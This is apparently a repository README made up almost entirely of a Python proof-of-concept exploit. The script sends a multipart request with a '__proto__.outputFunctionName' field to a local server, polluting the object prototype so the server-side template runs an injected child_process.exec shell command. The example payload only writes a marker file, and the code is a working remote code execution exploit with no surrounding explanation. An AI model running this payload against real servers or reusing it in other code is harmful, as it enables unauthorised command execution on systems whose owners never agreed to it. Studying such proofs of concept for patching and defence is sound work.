README.md
Rendering markdown...
import requests
# server url
target_url = 'http://localhost:8080'
# rce command, here's an example to write a file
exec_command = "echo \"ATTACK SUCCESSFUL\" > attacked.txt"
# will cause prototype pollution
to_cause_prototype_pollution = {
"__proto__.outputFunctionName": (
None,
f"x;process.mainModule.require('child_process').exec('{exec_command}');x"
)
}
# send request
requests.post(target_url, files=to_cause_prototype_pollution)
requests.get(target_url)